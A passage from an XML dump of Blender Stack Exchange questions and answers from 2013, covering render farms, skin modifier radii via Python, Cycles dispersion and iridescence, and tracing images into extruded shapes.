  <row Id="1584" PostTypeId="1" CreationDate="2013-07-02T00:28:34.323" Score="9" ViewCount="3650" Body="&lt;p&gt;I'm thinking about the idea of doing a distributed rendering via internet but i don't know where to start. Is there any sort of open software to provide P2P rendering or something like that?  &lt;/p&gt;&#xA;" OwnerUserId="878" LastEditorUserId="47" LastEditDate="2013-07-03T05:49:27.977" LastActivityDate="2016-05-11T06:53:14.810" Title="Is there any open software to provide cloud rendering via P2P?" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1585" PostTypeId="2" ParentId="1568" CreationDate="2013-07-02T01:26:11.980" Score="3" Body="&lt;p&gt;No, Blender doesn't have this functionality, Check on the documentation for &lt;code&gt;bpy.app.handlers&lt;/code&gt;, aside from this we don't provide other hooks into Blender.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-02T01:26:11.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1586" PostTypeId="2" ParentId="1584" CreationDate="2013-07-02T01:56:10.053" Score="4" Body="&lt;p&gt;In short &lt;strong&gt;no&lt;/strong&gt;, There are lots of small renderfarm projects but as far as I know nothing thats as simple as folding@home - where you can just run an application and immediately join a globally distributed render-farm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few reasons this is quite involved to setup...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Often the kind of projects where you would want a render-farm have 100mb, even many gigabytes of textures and other assets.&lt;/li&gt;&#xA;&lt;li&gt;More complex scenes often have high memory requirements for textures, mesh data, physics cache - while its possible to restrict which computers accept jobs, the requirement for high end systems means there needs to be enough free systems online for such a p2p system to make sense.&lt;/li&gt;&#xA;&lt;li&gt;With a render farm often you want management abilities, job prioritizing, ability to cancel jobs, upload minor changes then re-render, this becomes fairly tricky to manage p2p.&lt;/li&gt;&#xA;&lt;li&gt;With rendering you can't automatically validate that the output is correct (except for basic things such as totally blank frames or corrupt image data). Systems that return bad images need to be identified &amp;amp; blacklisted - the owner probably should be made aware of this... Maybe the disk has a bad sector, or the graphics card has faulty ram, but somehow it has to be managed.&lt;/li&gt;&#xA;&lt;li&gt;Aside from personal projects, anyone doing commercial work over a network would likely not want to send their projects to random people online (which limits who would use the farm).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Security&quot; rel=&quot;nofollow&quot;&gt;Security issues&lt;/a&gt;: if you have Python expressions for drivers its near impossible to restrict malicious code.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;While its possible to resolve all the issues I've raised - its a lot of work to get running and well supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the issues I raised here don't apply to the cloud - where you have API's to manage systems and better control of what goes on, but in this case using the cloud is really not so different from typical renderfarm setups.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-05-11T06:53:14.810" LastActivityDate="2016-05-11T06:53:14.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1588" PostTypeId="2" ParentId="1584" CreationDate="2013-07-02T03:17:07.803" Score="8" Body="&lt;p&gt;&lt;strong&gt;There are Blender render farm services similar to folding@home:&lt;/strong&gt; &lt;em&gt;(Anyone can volunteer their computer time; the work is done and sent to a main server for collection by the project submitter.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://burp.renderfarming.net/stats.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;BURP - Big and Ugly Rendering Project&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.renderfarm.fi/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.renderfarm.fi/&lt;/a&gt;‎&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.renderweb.org/RenderWeb/index.jsp&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.renderweb.org/RenderWeb/index.jsp&lt;/a&gt; (Inactive?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.vswarm.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.vswarm.com/&lt;/a&gt; (messages in forum saying that it appears to be abandoned.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;http://rentrender.com/blender-render-farms/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The list of blender farms I found these on, that also includes normal payed and free render farm services.&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(I did not find any that are strictly &lt;a href=&quot;https://en.wikipedia.org/wiki/Peer-to-peer_computing&quot; rel=&quot;nofollow noreferrer&quot;&gt;P2P&lt;/a&gt; though. The ones I found are master-slave, but such a setup can be considered &quot;cloud&quot; too, (meaning computers on the internet are doing work for you) but one of them-- the master/main server is in charge of managing the workers and jobs.  A headless P2P distributed farm, like bitcoin or something is likely possible, but is perhaps more complicated than it's worth for now.)&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerns from ideasman42's answer do apply though, especially privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;There are also tools for building your own private distributed render farm:&lt;/strong&gt; &lt;em&gt;(These can be setup on spare machines, cloud/vps servers...)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://brender-farm.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://brender-farm.org&lt;/a&gt; (thanks Gwenn)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://development.burp.renderfarming.net/projects/burp/wiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BURP can also be used as a private render farm.&lt;/a&gt; (thanks jesterKing)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;Render: Network Render&quot; A network rendering plugin included with Blender, with farm management tools. &lt;a href=&quot;https://www.youtube.com/watch?v=VOjQET1hAEQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video tutorial on how to set it up.&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/1505/583&quot;&gt;More listed in this answer by Aldrik&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="583" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2013-07-02T20:40:37.747" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1589" PostTypeId="2" ParentId="1583" CreationDate="2013-07-02T03:34:00.987" Score="3" Body="&lt;p&gt;The only way that works well and looks great in the BGE, is creating an animated water texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having real geometry to create displaced waves in the game engine would look cool, but it is very memory intensive and would cause your game to lag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create an animated texture for the water, there are quite a few steps. &lt;a href=&quot;http://www.yofrankie.org/tutorial-animated-normal-maps/&quot; rel=&quot;nofollow&quot;&gt;Here is a video that describes the technique used to create the water used in the Blender Game &quot;Yo! Frankie&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Video Summary:&#xA;Step by step tutorial that shows how to create realtime animated water for the BGE using animation maps. &lt;/p&gt;&#xA;" OwnerUserId="879" LastEditorUserId="879" LastEditDate="2013-07-02T16:38:44.940" LastActivityDate="2013-07-02T16:38:44.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1590" PostTypeId="2" ParentId="1098" CreationDate="2013-07-02T03:49:47.353" Score="4" Body="&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.64/Bsurfaces_1.5&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using the Bsurfaces addon&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/csdD1.png&quot; alt=&quot;Terrain contour lines&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To prevent twisting, &lt;kbd&gt;Shift&lt;/kbd&gt; select a vertex form each contour that lines up nicely.&lt;/li&gt;&#xA;&lt;li&gt;In the Tool Shelf, under Bsurfaces, click &lt;kbd&gt;Set First Points&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V8y5B.png&quot; alt=&quot;Bsurface curve tools&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a plane, select your bezier-curve and &lt;kbd&gt;Shift&lt;/kbd&gt; select the plane.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Tab&lt;/kbd&gt; into edit mode, and delete the vertices (&lt;kbd&gt;X&lt;/kbd&gt;,&lt;kbd&gt;V&lt;/kbd&gt;) of the plane.&lt;/li&gt;&#xA;&lt;li&gt;In the Tool Shelf, under Bsurfaces, click &lt;kbd&gt;Add Surface&lt;/kbd&gt; and adjust setting to your liking.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vpr3x.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dvqYm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-07-02T03:49:47.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1592" PostTypeId="1" CreationDate="2013-07-02T05:26:57.933" Score="14" ViewCount="1779" Body="&lt;p&gt;With Skin Modifier, we can &quot;weight&quot; a vertex (in &lt;em&gt;Edit Mode&lt;/em&gt;) so that the resulting Skin mesh is bigger or smaller - similar to &lt;em&gt;Curve&lt;/em&gt; objects which has &quot;Scale Feather&quot; adjustable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually, we can hit &lt;kbd&gt;Tab&lt;/kbd&gt;, go to &lt;em&gt;Edit Mode&lt;/em&gt;, select &lt;em&gt;Vertices&lt;/em&gt;, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and drag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I would like to be able to do this using Python. Does anyone know anything about it?&lt;/p&gt;&#xA;" OwnerUserId="880" LastEditorUserId="3710" LastEditDate="2015-12-07T20:22:49.887" LastActivityDate="2015-12-07T20:22:49.887" Title="Access skin modifier radius data" Tags="&lt;python&gt;&lt;scripting&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1593" PostTypeId="2" ParentId="1592" CreationDate="2013-07-02T06:39:29.307" Score="13" Body="&lt;p&gt;Reading and writing these values from Python must happen in &lt;em&gt;Object&lt;/em&gt; mode. I added a plane and deleted one vertex, added the skin modifier and decreased the radius of one vertex.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; obj = bpy.data.objects['Plane']&#xA;&amp;gt;&amp;gt;&amp;gt; for v in obj.data.skin_vertices[0].data:&#xA;...     print(v.radius[:])&#xA;...     &#xA;(0.25, 0.25)&#xA;(0.25, 0.25)&#xA;(0.08836718648672104, 0.08836718648672104)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each element in &lt;code&gt;skin_vertices[0].data&lt;/code&gt; has &lt;code&gt;radius, use_loose, use_root&lt;/code&gt; to read and write. Radii can be any two element iterable (tuple, list).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.data.objects['Plane']&#xA;for v in obj.data.skin_vertices[0].data:&#xA;    v.radius = 0.2, 1.2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just realized that &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; lets you constrain the effect on radius per axis with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;,&lt;kbd&gt;Y&lt;/kbd&gt;. &lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="25" LastEditDate="2013-07-03T04:01:10.177" LastActivityDate="2013-07-03T04:01:10.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1595" PostTypeId="1" CreationDate="2013-07-02T13:02:28.997" Score="3" ViewCount="299" Body="&lt;p&gt;I have created four objects using soft bodies to simulate cloth which are being affected by force fields (wind) but two are behaving abnormally and I do not know why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have posted images (click for more) &lt;a href=&quot;https://imgur.com/a/wsYvR&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/RTqIRqv.jpg&quot; alt=&quot;http://imgur.com/a/wsYv&quot;&gt;&lt;/a&gt; which show the result of animation and also the settings I have used. I am using constraints to hold the soft body cloth to another mesh, and the soft body cloth also has a wave modifier on it as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the animation process two of the soft body meshes (sail) comes away from the mast. while the other two do not. You can see all of this in the images that I have posted.&lt;/p&gt;&#xA;" OwnerUserId="620" LastEditorUserId="5426" LastEditDate="2014-12-16T19:11:50.713" LastActivityDate="2014-12-16T19:11:50.713" Title="Soft body cloth meshes being affected differently to each other" Tags="&lt;modifiers&gt;&lt;constraints&gt;&lt;soft-body&gt;&lt;cloth-simulation&gt;" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="1597" PostTypeId="5" CreationDate="2013-07-02T13:43:56.730" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-02T13:43:56.730" LastActivityDate="2013-07-02T13:43:56.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1598" PostTypeId="4" CreationDate="2013-07-02T13:43:56.730" Score="0" Body="Questions about software, hardware and operating system compatibility with Blender." OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-07-02T13:50:57.533" LastActivityDate="2013-07-02T13:50:57.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1599" PostTypeId="1" AcceptedAnswerId="1613" CreationDate="2013-07-02T15:19:46.253" Score="2" ViewCount="1052" Body="&lt;p&gt;I went to use the clone brush for the first time after viewing a tutorial on texturing. However, Blender (v2.65) texture painting only has one brush. I was wondering:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can I get all the brushes that should be included, or&lt;/li&gt;&#xA;&lt;li&gt;how can I create a clone brush that works. I tried to create one, but all it did was paint a solid color over the model.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay I started a new blender project and went immediately into texture paint. All the brushes are there. However when I open my project only one of the brushes is there. Does anyone know of any settings that could be responsible for this?&lt;/p&gt;&#xA;" OwnerUserId="884" LastEditorUserId="884" LastEditDate="2013-07-03T14:24:14.550" LastActivityDate="2013-07-06T11:43:57.687" Title="Clone brush isn't included in Blender" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1600" PostTypeId="5" CreationDate="2013-07-02T18:31:19.707" Score="0" Body="&lt;p&gt;Blender features a built-in paint mode called Texture Paint which is designed specifically to help you edit your UV textures and images quickly and easily in either the Image Editor or the 3D Viewport. Since a UV texture is just a special-purpose image, you can also use any external paint program, like GIMP, Photoshop, or Krita.&lt;/p&gt;&#xA;&lt;p&gt;Since a mesh can have layers of UV textures, there may be many images that color the mesh. However, each UV texture only has one image.&lt;/p&gt;&#xA;&lt;p&gt;Texture Paint works in both a 3D Viewport and the Image Editor. In the 3D Viewport in Texture Paint Mode, you paint directly on the mesh by projecting onto the UVs.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;See more information at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/sculpt_paint/texture_paint/index.html#texture-paint&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15924" LastEditDate="2020-10-27T08:16:54.143" LastActivityDate="2020-10-27T08:16:54.143" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1601" PostTypeId="4" CreationDate="2013-07-02T18:31:19.707" Score="0" Body="Questions about Blenders Texture Painting. Texture painting is a tool used to paint textures on to an object in real time. (both in the 3D view, and the UV Image Editor)" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-02T18:38:45.153" LastActivityDate="2013-07-02T18:38:45.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1602" PostTypeId="1" AcceptedAnswerId="1603" CreationDate="2013-07-02T19:03:35.257" Score="32" ViewCount="22488" Body="&lt;p&gt;I'm trying to achieve the effect where a beam of light sent through a prism or other refractive object, separates out into the light spectrum. (See image below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wASUk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This effect is especially useful to have when modeling gemstones, since the 'sparkle' of colors produced by this effect adds a lot of realism to the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does not seem possible to get Cycles to produce this effect, since Cycles handles each ray of light as only a single, one-colored ray. Is there any way to coax Cycles (or any other render engine) into treating light as a full spectrum? Is this kind of treatment of light even possible in Blender?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-07-03T16:16:25.137" LastActivityDate="2021-02-11T07:40:39.993" Title="Light spectrum dispersion effect in Blender?" Tags="&lt;rendering&gt;&lt;light&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="1603" PostTypeId="2" ParentId="1602" CreationDate="2013-07-02T19:20:47.553" Score="16" Body="&lt;p&gt;It is fake-able to some extent in cycles, see some of these results:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blendernation.com/2012/04/05/cycles-diamond-dispersion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blendernation.com/2012/04/05/cycles-diamond-dispersion/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blendernation.com/2012/09/04/cycles-dispersion-glass-shader/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blendernation.com/2012/09/04/cycles-dispersion-glass-shader/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;One technique I know of is to use multiple Glass shaders with different IOR values&lt;/p&gt;&#xA;&lt;p&gt;A quick setup:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YG1Nu.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Low sample result:&lt;br /&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kCG1H.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;br /&gt;&#xA;(Not that great, but the closest method I know of..)&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://luxcorerender.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Luxrender&lt;/a&gt; is an open source unbiased bi-directional rendering engine with blender integration (and GPU rendering support via OpenCL) and is capable of this.&lt;/p&gt;&#xA;&lt;p&gt;Some examples:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://mitsuma.deviantart.com/art/LuxRender-Prism-198927185&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mitsuma.deviantart.com/art/LuxRender-Prism-198927185&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?feature=player_detailpage&amp;amp;v=kIX5WL07Uss#t=15s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?feature=player_detailpage&amp;amp;v=kIX5WL07Uss#t=15s&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Luxrender (technically SmallLuxGPU, an early version of luxrender with GPU support)&#xA;&lt;a href=&quot;https://www.youtube.com/watch?feature=player_detailpage&amp;amp;v=jk-N4f9ze4k#t=82s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?feature=player_detailpage&amp;amp;v=jk-N4f9ze4k#t=82s&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.yafaray.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Yafaray&lt;/a&gt; is another open source render engine with blender integration that supports both biased and unbiased techniques, and also seems to handle this well.&lt;br /&gt;&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=RVHYMq8NEEs&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.youtube.com/watch?v=RVHYMq8NEEs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2021-02-11T07:40:39.993" LastActivityDate="2021-02-11T07:40:39.993" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="1604" PostTypeId="2" ParentId="566" CreationDate="2013-07-02T19:26:45.870" Score="1" Body="&lt;p&gt;You get more efficient memory usage using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication&quot; rel=&quot;nofollow&quot;&gt;linked duplicates&lt;/a&gt; and even more so with &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Groups_and_Parenting&quot; rel=&quot;nofollow&quot;&gt;group instances&lt;/a&gt;. But a slower, less elegant work-flow.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-07-02T19:26:45.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1605" PostTypeId="1" AcceptedAnswerId="2358" CreationDate="2013-07-02T20:41:44.910" Score="44" ViewCount="19027" Body="&lt;p&gt;Is it possible to create an &lt;a href=&quot;http://en.wikipedia.org/wiki/Iridescence&quot; rel=&quot;nofollow noreferrer&quot;&gt;iridescence&lt;/a&gt; shader in Cycles?&lt;br /&gt;&#xA;Specifically for something like &lt;a href=&quot;http://en.wikipedia.org/wiki/File:CD-ROM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;DVDs&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/File:Soap_Bubble_-_foliage_background_-_iridescent_colours_-_Traquair_040801.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;soap bubbles&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/File:Engine_oil_rainbow_p1120058.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;engine oil&lt;/a&gt;, etc..&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/QN5GR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QN5GR.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/z7ddP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z7ddP.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VwPA5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VwPA5.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="78972" LastEditDate="2021-04-17T09:46:43.753" LastActivityDate="2021-04-17T09:46:43.753" Title="Iridescence In Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="27" ContentLicense="CC BY-SA 4.0" />
  <row Id="1606" PostTypeId="2" ParentId="1564" CreationDate="2013-07-02T20:53:52.487" Score="2" Body="&lt;p&gt;The features in blender for this task are not so advanced, so I would suggest one of two options...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Load in Empty objects and name them usefully, enabling the objects &lt;strong&gt;display -&gt; name&lt;/strong&gt; option in the object buttons. &#xA;&lt;em&gt;(note, these names wont render)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create 3d text objects for each name (reduce the curve resolution to ~4 or so, for faster display), these &lt;em&gt;will&lt;/em&gt; render which is their main advantage.&#xA;&lt;em&gt;(note, wont point towards the view though you could constrain them to face the camera)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You say that the amount of object would be huge and hard to view in the outliner. To workaround this you could...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Give them a parent, the outliner will nest them under the parent.&lt;/li&gt;&#xA;&lt;li&gt;Put them on a second layer (probably a good idea anyway), then set the outliner to only view visible layers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other alternatives exist like using Python to draw text in the view-port or converting curve data to grease-pencil. But Im not sure these are worth the extra hassle of simply creating named empties or text objects.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-02T20:53:52.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1609" PostTypeId="1" AcceptedAnswerId="1610" CreationDate="2013-07-03T02:33:15.430" Score="8" ViewCount="5281" Body="&lt;p&gt;Say I want to automate making extruded-text or a 3d logo from an image.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An answer that uses extruding a monochrome image of the ubuntu logo to an arbitrary number of units with a python script taking only the number of units and the monochrome image as a starting point will receive extra this was awesome re-posts from me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be useful for lots of things.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="12" LastEditDate="2013-09-13T00:19:48.857" LastActivityDate="2018-08-27T09:59:18.263" Title="Tracing a monochrome image into a 3D, extruded object with a script" Tags="&lt;scripting&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1610" PostTypeId="2" ParentId="1609" CreationDate="2013-07-03T04:29:43.223" Score="8" Body="&lt;p&gt;Blender doesn't have image tracing built-in, and without some tracing algorithm that outlines the shape, you're unlikely to get very nice results. &#xA;so suggest...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open the image in a vector image editor (such as &lt;a href=&quot;http://inkscape.org/&quot;&gt;Inkscape&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;trace the image (most vector editors have auto-trace)&lt;/li&gt;&#xA;&lt;li&gt;save the vector as an SVG&lt;/li&gt;&#xA;&lt;li&gt;import the SVG into Blender&lt;/li&gt;&#xA;&lt;li&gt;use the curve bevel setting, or convert the curve to a mesh and extrude that.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to automate this, you would have to automate converting the image into a vector outside blender, using something like &lt;a href=&quot;http://potrace.sourceforge.net/&quot;&gt;&lt;em&gt;Potrace&lt;/em&gt;&lt;/a&gt;, once you have an SVG you can automate loading and extruding it.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-07-03T11:11:56.880" LastActivityDate="2013-07-03T11:11:56.880" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1612" PostTypeId="2" ParentId="1609" CreationDate="2013-07-03T09:47:10.680" Score="3" Body="&lt;p&gt;I haven't seen any automated raster to curve tools for Blender specifically. If it comes, it will probably be an addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From experience the result of automated tracing on logos, or exact shapes with transitions between curve and corners, is rarely acceptable to closer scrutiny. Invariably they need to be corrected (and optimized). People provide on-line services where you send them a raster image and they send a vector version back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has OK curve/spline tools to do tracing by hand, I've done this plenty of times. Staying in Blender has the added bonus that keyboard short-cuts are familiar. Filling the spline is also easy and so is extruding. Here's an &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?294117-VickyM72-s-Sketchbook&amp;amp;p=2388225&amp;amp;viewfull=1#post2388225&quot; rel=&quot;nofollow&quot;&gt;interesting thread on BlenderArtists&lt;/a&gt; where VickyM72 practised on various logos to get a better appreciation of the curve tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many prominent logos are already available as vector (svg, ps, etc..) if you fill their name into a search 